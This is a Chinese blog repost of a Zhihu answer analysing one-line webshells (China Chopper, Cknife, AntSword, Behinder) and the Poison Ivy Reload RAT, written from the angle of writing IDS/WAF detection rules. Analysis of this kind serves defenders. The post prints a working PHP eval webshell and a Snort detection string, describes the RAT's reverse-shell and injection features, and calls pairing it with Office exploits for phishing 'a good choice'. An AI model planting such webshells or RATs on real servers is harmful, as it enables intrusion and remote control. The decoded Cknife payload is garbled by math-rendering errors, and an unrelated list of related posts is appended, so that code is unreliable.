layout: post
title: “一句话木马原理详解”
categories: [网络安全CyberSecurity]
tags: [一句话木马]


作者:愤怒的小辣椒
链接:https://www.zhihu.com/question/269213687/answer/1088999932
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

首先理解,eval()是把里面的内容按照php代码去执行

菜刀通过你的一句话木马去进行http请求,然后用经过base64编码后的代码来执行命令,以小马传大马

一句话木马用到了一个比较有趣的命令下发思路,即不直接发送命令编码,而是将命令代码直接发送给木马端执行,这样木马端文件会特别小,而由于每条命令需要通过网络传输,数据包会比较大。这些工具的流量也是ips,waf等网络安全设备的检测重点。

一句话木马的发展主要有几个典型的代表:最开始是中国菜刀,接着是开源的Cknife和中国蚁剑,到近两年的冰蝎,攻击工具一直在进化。其实还有个神奇的二进制远控 Poison Ivy,说它神奇就在于它相当于一个二进制的一句话工具,直接传送shellcode到被控端执行,而且据说这个远控是比较早(零几年就出现了)

二、WEB一句话木马

菜刀,Cknife,蚁剑这些工具原理比较接近,使用方法大家应该比较熟了,可能有些做渗透测试的朋友也没有了解过原理。我们做防护规则,对常用的工具都会做分析,先以Cknife为例来分析这个系列。

2.1Ckinife连接

2.1.1 PHP一句话连接

Asp,aspx和PHP的连接原理比较接近,PHP最基础的一句话如下:

<?php @**eval**($_POST[‘pass’]);?>

通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。可以看出,一句话木马的本质是PHP,ASP(ASPX)语言具有eval函数,使之具有了动态性,基于动态性,攻击者就可以把命令传给服务器端的一句话木马进行执行,这些命令在config.ini作了定义。

发的请求包中,action参数用来传输base64编码后的命令,可能是考虑到特殊字符容易出问题或者不符合rfc协议之类的原因。真正的连接密码pass,先对action参数做base64解密,然后传到服务器端执行。

我们把PHP命令做解码,得到

@ini_set(“display_errors”,“0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-

|");;D=base64decode(D=base64_decode(D=base64d​ecode(_POST[“z1”]);F=@opendir(F=@opendir(F=@opendir(D);if(KaTeX parse error: Expected '}', got 'EOF' at end of input: …n!");}**else**{M=NULL;L=NULL;∗∗while∗∗(L=NULL;**while**(L=NULL;∗∗while∗∗(N=@readdir(KaTeX parse error: Expected '}', got 'EOF' at end of input: F)){P=D."/".D."/".D."/".N;T=@date("Y−m−dH:i:s",@filemtime(T=@date("Y-m-d H:i:s",@filemtime(T=@date("Y−m−dH:i:s",@filemtime(P));@E=∗∗substr∗∗(baseconvert(@fileperms(E=**substr**(base_convert(@fileperms(E=∗∗substr∗∗(basec​onvert(@fileperms(P),10,8),-4);KaTeX parse error: Undefined control sequence: \t at position 4: R="\̲t̲".T."\t".@filesize(KaTeX parse error: Undefined control sequence: \t at position 5: P)."\̲t̲".E."";if(@is_dir(P))P))P))M.=N."/".N."/".N."/".R;else L.=L.=L.=N.$R;}echo M.M.M.L;@closedir($F);};echo("|<-");die();

可以看到通过循环遍历某个路径下的文件,其中路径又是通过z1参数base64编码进行传递,截图是查看C盘目录。

2.1.2PHP一句话连接流量检测

截取了一个snort的开源规则,他检测的字符串是=@eval(base64_decode($_POST,如下

根据规则的描述信息来看,是基于13年fireeye的分析中国菜刀的文章添加的规则,个人认为这条规则还是写的太严格了,其实直接看抓到的cknife报文,就无法匹配菜刀的这条规则,

如上图Cknife的payload中,eval后面带了一个\x01。Ips、waf规则其实只要不影响业务,也是越简单越好,避免漏报。

2.1.3JSP一句话连接

Java由于没有eval函数,所以最开始是没有一句话木马的,但是由于菜刀/Cknife这类工具太好用了,jspspy这种大马又比较大,所以有高手写了一个带简单功能的webshell,通过定制(customize)方式来传输命令码,我理解customize是传控制码而不传输命令,其流量如下:

2.1.4JSP一句话连接流量检测

这种比较短的请求就不太好检测了,一般思路就是按照流量来检测,写规则基本也是把常见的工具都遍历一遍,然后找找规律,包括参数名,参数值等。

2.2冰蝎连接

由于Cknife菜刀的明文传输可以被检测到,有高手写了一个加密的一句话工具冰蝎。对冰蝎的原理作了详细的讲解,我觉得最有意思的是这个一句话木马做到了java语言真正的一句话。

提交给被控端的数据先做解密,解密后的数据作为class文件的字节码,通过自定义classloader的get方法,调用父类defineclass方法动态生成一个类,然后调用其重载的equals函数执行命令。还有一些细节作者也有讲,比如父类defineclass方法是protect属性,正好子类可以直接调用,继承父类classloader还可以避免不同的classloader找不到相关类。重载的equals函数接受pagecontext参数,可以调用页面的参数并设置应答内容。

对于php和asp,aspx作者也使用类似的手法做了加密和变形,这些跟菜刀/Cknife的原理都不一样了,思路非常值得学习,但是流量就很难检测了:-(。

三、二进制一句话木马

起因是看到github上面开源了一个poison ivy的RAT,是国内作者重写的名为poison ivy reload的项目,注释比较完整。这个大名鼎鼎的远控思路跟菜刀是一致的,命令通过shellcode传输,由于shellcode不需要重定位代码,直接分配内存就可以执行命令了,并且不仅命令是shellcode,木马本身就是shellcode。据说今年hw的第一天,就有攻击队钓鱼用的就是这个远控。

3.1poison ivy reload

控制端在Client文件夹,被控端在loader文件夹。先看被控端:

3.1.1被控端

相关配置文件和函数地址定义在global_data_t这个结构,使用到宏指令生成了非常紧凑的结构。下面是生成客户端的配置,包括配置连接方式、启动项、连接密码等。

下面是api地址,需要在加载后重新计算偏移后进行修复

loader_main是主要的入口,初始化global_config配置,然后根据配置主动外联控制端,首先是发包,做一个17字节的头部发送给控制端上线

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y3gJuTGl-1647509192327)(https://pic2.zhimg.com/50/v2-3c40829a650f96ab57be6975d78f8601_hd.jpg?source=1940ef5c)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fpb5ZJwF-1647509192328)(https://pic2.zhimg.com/80/v2-3c40829a650f96ab57be6975d78f8601_720w.jpg?source=1940ef5c)]

然后rc4加密后发送出去,等待接收shellcode命令,收到数据后,进行rc4解密,然后分配内存,解压缩并拷贝数据到这块内存,执行代码。

木马有2种启动方式,本进程启动或者远程注入到ie启动。

可选的启动项:

3.1.2控制端

控制端是delphi编写,不过重点也是用到了一些shellcode,shellcode代码还是在loader文件夹下面,其中function目录是基础控制函数,包括入口的shell_main.c,是控制端传过来的第一段shellcode,会初始化相关结构并且作为整体的消息处理框架,information是收集被控端的本地信息并回传,cmdshell是反弹cmd端口,screenspy是抓取屏幕,process是列当前进程,thumbnail是获取图标。

loader_function和extra_function目录下面有一些其他功能函数,包括添加启动项、远程注入、socks5连接等。作者注释掉了生成shellcode的代码,修复后可以用shellcode方式执行,结合office文档漏洞钓鱼是一个不错的选择。

3.1.3通信流量

可以看看PI的上线流量。第一次交互主要是被控端上线,控制端发送shellcode_main的shellcode作为被控端的消息处理框架。

第二次交互则是被控端请求information的shellcode,即需要函数代码来提取本机的信息,但是这些函数都以shellcode形式存在控制端。

传输的这些函数包括下面的获取局域网信息get_lan_info,获取操作系统版本get_os_version,获取cpu频率get_cpu_frequency等。

第三次交互就是执行这些shellcode回传结果了

结果回显

每次交互的结果也会在stat标签页打印出来

3.1.4Poison Ivy Reload连接流量检测

这种加密流量ips之类的网络就比较难识别了。由于PI前期的上线流量比较固定,而且还有大量的ping pong心跳包,我觉得还是可以考虑从这些规律入手,即不通过传统特征匹配,而通过会话统计进行检测。

目前分析的是开源的PI Reload,也只是做了最简单的分析和测试,看了一下会话交互流量,我觉得更值得学习的是作者深厚的开发功底和调试技术。

对于这些一句话木马工具,现有的技术手段比较难检测了,主要原因在于交互流量加密,并且协议的私有性,很难通过特征匹配,后续可能还是通过态势感知系统之类的分析统计功能会有效一些

2017-01-27-一句话木马原理详解相关推荐

  1. 木马免杀原理详解(一)

    木马免杀原理详解 首先来简单了解一下杀毒软件查杀病毒的原理,当前杀毒软件对病毒的查杀主要有特征代码法和行为监测法.其中前一个比较方法古老,又分为文件查杀和内存查杀,杀毒软件公司拿到病毒的样本以后,定义 ...

  2. SVM分类器原理详解

    SVM分类器原理详解 标签: svm文本分类java 2015-08-21 11:51 2399人阅读 评论(0) 收藏 举报  分类: 数据挖掘 文本处理(16)  机器学习 分类算法(10)  目 ...

  3. LVS原理详解及部署之四:keepalived介绍

    -------------------LVS专题------------------------ LVS原理详解及部署之一:ARP原理准备 LVS原理详解及部署之二:LVS原理详解(3种工作方式8种调 ...

  4. 网卡重启影响nfs吗_NFS原理详解

    PS:哈哈,这篇的篇幅真的非常的长.要看完真的要有很强的耐心那.我自己写也快写吐了呢. [ATong学习linux]NFS原理详解 一.NFS介绍 1)什么是NFS 它的主要功能是通过网络让不同的机器 ...

  5. 激活函数、Sigmoid激活函数、tanh激活函数、ReLU激活函数、Leaky ReLU激活函数、Parametric ReLU激活函数详细介绍及其原理详解

    相关文章 梯度下降算法.随机梯度下降算法.动量随机梯度下降算法.AdaGrad算法.RMSProp算法.Adam算法详细介绍及其原理详解 反向传播算法和计算图详细介绍及其原理详解 激活函数.Sigmo ...

  6. ECC椭圆曲线加解密原理详解(配图)

    ECC椭圆曲线加解密原理详解(配图) 本文主要参照:ECC加密算法入门介绍及 ECC椭圆曲线详解(有具体实例) 前言: 椭圆曲线(ECC)加密原理跟RSA加解密原理比起来,可真是晦涩难懂.拜读了Kal ...

  7. 图像质量损失函数SSIM Loss的原理详解和代码具体实现

    本文转自微信公众号SIGAI 文章PDF见: http://www.tensorinfinity.com/paper_164.html http://www.360doc.com/content/19 ...

  8. 深入剖析Redis系列(三) - Redis集群模式搭建与原理详解

    前言 在 Redis 3.0 之前,使用 哨兵(sentinel)机制来监控各个节点之间的状态.Redis Cluster 是 Redis 的 分布式解决方案,在 3.0 版本正式推出,有效地解决了 ...

  9. SVM-支持向量机原理详解与实践之一

    SVM-支持向量机原理详解与实践 前言 去年由于工作项目的需要实际运用到了SVM和ANN算法,也就是支持向量机和人工神经网络算法,主要是实现项目中的实时采集图片(工业高速摄像头采集)的图像识别的这一部 ...

  10. LVS原理详解及部署之五:LVS+keepalived实现负载均衡高可用

    本文我们主要讲解的是LVS通过keepalived来实现负载均衡和高可用,而不是我们第三篇文章介绍的通过手动的方式来进行配置.通过脚本的方式来显示RS节点的健康检查和LVS的故障切换.此文会通过一个实 ...

最新文章

  1. 不相交轮换的乘积怎么求_谁能告诉我 轮换的乘积 怎么做?具体题目是
  2. animate默认时长所带来的问题及解决
  3. Swift String字符串版本更新特性
  4. 网络推广外包——网络推广外包浅析那些年起步就结束的企业网站
  5. VMware中为linux设置网络
  6. 图片懒加载解决方案 lazyload.js
  7. 微信支付 - 构建商户端支付成功的回调接口
  8. Zookeeper02_zk集群搭建
  9. Angular应用启动时创建的injection token一览
  10. mysql drivermanager.getconnection_Java DriverManager.getConnection()方法:获取数据库连接
  11. 如何断开所有SQL Server所有的连接
  12. GOOD AI Example GREAT AI Company
  13. SecureCRT 破解版v7.1.1.264中文汉化绿色版
  14. 域计算机策略软件安装方法,windows域软件下发策略
  15. A COMBINED CORNER AND EDGE DETECTOR
  16. TCP重点系列之sack介绍
  17. 使用remix发布部署 发币 智能合约
  18. 学习大数据有推荐的么
  19. Node.js学习6~nodejs报Error: Cannot find module ‘express‘
  20. 硬干货!1.8W字TS 学习指南,我不信你一口气能读完(建议收藏)

热门文章

  1. 畅玩树莓派4B(一)树莓派系统安装和SSH连接
  2. 国内外计算机视觉领域优秀研究团队汇总
  3. 有什么新手适合的3D建模软件
  4. 从零实现一个3D建模软件
  5. 第三方API的简单调用
  6. HS300股指与其成分股的价格匹配
  7. 鸿蒙系统可以上外网吗,【图片】华为鸿蒙系统的厉害之处在于 你可能非用不可 !【手机吧】_百度贴吧...
  8. Saltstack入门到精通教程(五):Jinja详解
  9. 蜜罐技术的初识以及HFish(开源蜜罐)的Docker搭建姿势
  10. 使用APICloud AVM多端组件快速实现app中的搜索功能